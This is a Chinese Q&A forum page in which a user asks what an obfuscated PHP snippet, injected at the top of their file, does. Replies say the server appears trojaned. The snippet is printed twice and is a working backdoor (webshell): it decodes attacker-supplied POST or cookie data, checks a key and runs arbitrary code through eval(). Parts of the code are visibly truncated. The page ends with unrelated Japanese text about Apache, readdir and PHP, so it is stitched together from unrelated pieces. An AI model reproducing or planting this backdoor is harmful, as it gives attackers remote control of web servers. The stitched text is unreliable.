谁能解释下这段代码什么意思?
代码如下,有‘人’在我的php文件的开头加了下面这段代码:
<code>$GLOBALS['o60b3f'];global$o60b3f;$o60b3f=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['r66fecf8']="\x2a\x30\x48\x7b\x2b\x33\x5d\x22\x4a\x57\x47\x7d\x41\x46\x34\x5b\x25\x61\x70\x50\x37\x55\x67\x71\x2f\x52\x5c\x35\x66\x5a\x6c\x3d\x21\x5f\x77\x76\x24\x7e\x45\x4b\x72\x3e\x6e\x42\x4f\x73\x20\x7a\x43\x75\x26\x40\x36\x2d\x31\x49\x56\x29\x2e\x3c\x32\x63\x4c\x64\x79\x78\x39\x74\x6d\x3f\x53\x59\x6f\x3a\x54\x27\x44\x7c\x4d\x3b\x9\x6b\x23\xa\x65\x6a\x51\x58\x60\x62\x69\xd\x38\x28\x2c\x68\x5e\x4e";$o60b3f[$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][28]]=$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][95].$o60b3f['r66fecf8'][40];$o60b3f[$o60b3f['r66fecf8'][35].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][17]]=$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][63];$o60b3f[$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84]]=$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][42];$o60b3f[$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][14]]=$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][67];$o60b3f[$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][1]]=$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][47].$o60b3f['r66fecf8'][84];$o60b3f[$o60b3f['r66fecf8'][49].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27]]=$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][95].$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][35].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][42];$o60b3f[$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][5]]=$o60b3f['r66fecf8'][49].$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][47].$o60b3f['r66fecf8'][84];$o60b3f[$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][5]]=$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][84];$o60b3f[$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][52]]=$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][67];$o60b3f[$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][20]]=$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][89];$o60b3f[$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][54]]=$o60b3f['r66fecf8'][85].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][52];$o60b3f[$o60b3f['r66fecf8'][65].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][61]]=$_POST;$o60b3f[$o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][89]]=$_COOKIE;@$o60b3f[$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][14]]($o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][22],NULL);@$o60b3f[$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][14]]($o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][45],0);@$o60b3f[$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][14]]($o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][65].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][65].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][49].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][84],0);@$o60b3f[$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][52]](0);$lae4=NULL;$k94bc0d42=NULL;$o60b3f[$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][28]]=$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][66];global$o73a0f5ff;function j8b436($lae4,$occ9c489){global$o60b3f;$fadce1c74="";for($d0b96=0;$d0b96$gb392){$lae4=$gb392;$k94bc0d42=$occ9c489;}if(!$lae4){foreach($o60b3f[$o60b3f['r66fecf8'][65].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][61]]as$occ9c489=>$gb392){$lae4=$gb392;$k94bc0d42=$occ9c489;}}$lae4=@$o60b3f[$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][5]]($o60b3f[$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][20]]($o60b3f[$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][5]]($lae4),$k94bc0d42));if(isset($lae4[$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][81]])&&$o73a0f5ff==$lae4[$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][81]]){if($lae4[$o60b3f['r66fecf8'][17]]==$o60b3f['r66fecf8'][90]){$d0b96=Array($o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][35]=>@$o60b3f[$o60b3f['r66fecf8'][49].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27]](),$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][35]=>$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][58].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][54],);echo@$o60b3f[$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][1]]($d0b96);}elseif($lae4[$o60b3f['r66fecf8'][17]]==$o60b3f['r66fecf8'][84]){eval($lae4[$o60b3f['r66fecf8'][63]]);}exit();} ?></code>
回复内容:
代码如下,有‘人’在我的php文件的开头加了下面这段代码:
<code>$GLOBALS['o60b3f'];global$o60b3f;$o60b3f=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['r66fecf8']="\x2a\x30\x48\x7b\x2b\x33\x5d\x22\x4a\x57\x47\x7d\x41\x46\x34\x5b\x25\x61\x70\x50\x37\x55\x67\x71\x2f\x52\x5c\x35\x66\x5a\x6c\x3d\x21\x5f\x77\x76\x24\x7e\x45\x4b\x72\x3e\x6e\x42\x4f\x73\x20\x7a\x43\x75\x26\x40\x36\x2d\x31\x49\x56\x29\x2e\x3c\x32\x63\x4c\x64\x79\x78\x39\x74\x6d\x3f\x53\x59\x6f\x3a\x54\x27\x44\x7c\x4d\x3b\x9\x6b\x23\xa\x65\x6a\x51\x58\x60\x62\x69\xd\x38\x28\x2c\x68\x5e\x4e";$o60b3f[$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][28]]=$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][95].$o60b3f['r66fecf8'][40];$o60b3f[$o60b3f['r66fecf8'][35].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][17]]=$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][63];$o60b3f[$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84]]=$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][42];$o60b3f[$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][14]]=$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][67];$o60b3f[$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][1]]=$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][47].$o60b3f['r66fecf8'][84];$o60b3f[$o60b3f['r66fecf8'][49].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27]]=$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][95].$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][35].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][42];$o60b3f[$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][5]]=$o60b3f['r66fecf8'][49].$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][47].$o60b3f['r66fecf8'][84];$o60b3f[$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][5]]=$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][84];$o60b3f[$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][52]]=$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][67];$o60b3f[$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][20]]=$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][89];$o60b3f[$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][54]]=$o60b3f['r66fecf8'][85].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][52];$o60b3f[$o60b3f['r66fecf8'][65].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][61]]=$_POST;$o60b3f[$o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][89]]=$_COOKIE;@$o60b3f[$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][14]]($o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][22],NULL);@$o60b3f[$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][14]]($o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][45],0);@$o60b3f[$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][14]]($o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][65].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][65].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][49].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][84],0);@$o60b3f[$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][52]](0);$lae4=NULL;$k94bc0d42=NULL;$o60b3f[$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][28]]=$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][66];global$o73a0f5ff;function j8b436($lae4,$occ9c489){global$o60b3f;$fadce1c74="";for($d0b96=0;$d0b96$gb392){$lae4=$gb392;$k94bc0d42=$occ9c489;}if(!$lae4){foreach($o60b3f[$o60b3f['r66fecf8'][65].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][61]]as$occ9c489=>$gb392){$lae4=$gb392;$k94bc0d42=$occ9c489;}}$lae4=@$o60b3f[$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][5]]($o60b3f[$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][20]]($o60b3f[$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][5]]($lae4),$k94bc0d42));if(isset($lae4[$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][81]])&&$o73a0f5ff==$lae4[$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][81]]){if($lae4[$o60b3f['r66fecf8'][17]]==$o60b3f['r66fecf8'][90]){$d0b96=Array($o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][35]=>@$o60b3f[$o60b3f['r66fecf8'][49].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27]](),$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][35]=>$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][58].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][54],);echo@$o60b3f[$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][1]]($d0b96);}elseif($lae4[$o60b3f['r66fecf8'][17]]==$o60b3f['r66fecf8'][84]){eval($lae4[$o60b3f['r66fecf8'][63]]);}exit();} ?></code>
话不多说,请使用phpstorm的断点调试功能,具体请看截图。
目测楼主服务器被挂马了 建议楼主检查一遍所有代码 清楚程序里面的后门 然后检查服务器权限配置 看看有没有后门进程

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Apacheサーバーを再起動するには、次の手順に従ってください。Linux/MacOS:sudo systemctl restart apache2を実行します。 Windows:Net Stop apache2.4を実行し、ネット開始apache2.4を実行します。 Netstat -A |を実行しますサーバーのステータスを確認するには、STR 80を見つけます。

Debian Systemsでは、Directoryコンテンツを読み取るためにReadDirシステム呼び出しが使用されます。パフォーマンスが良くない場合は、次の最適化戦略を試してください。ディレクトリファイルの数を簡素化します。大きなディレクトリをできる限り複数の小さなディレクトリに分割し、Readdirコールごとに処理されたアイテムの数を減らします。ディレクトリコンテンツのキャッシュを有効にする:キャッシュメカニズムを構築し、定期的にキャッシュを更新するか、ディレクトリコンテンツが変更されたときに、頻繁な呼び出しをreaddirに削減します。メモリキャッシュ(memcachedやredisなど)またはローカルキャッシュ(ファイルやデータベースなど)を考慮することができます。効率的なデータ構造を採用する:ディレクトリトラバーサルを自分で実装する場合、より効率的なデータ構造(線形検索の代わりにハッシュテーブルなど)を選択してディレクトリ情報を保存およびアクセスする

PHPは依然として動的であり、現代のプログラミングの分野で重要な位置を占めています。 1)PHPのシンプルさと強力なコミュニティサポートにより、Web開発で広く使用されています。 2)その柔軟性と安定性により、Webフォーム、データベース操作、ファイル処理の処理において顕著になります。 3)PHPは、初心者や経験豊富な開発者に適した、常に進化し、最適化しています。

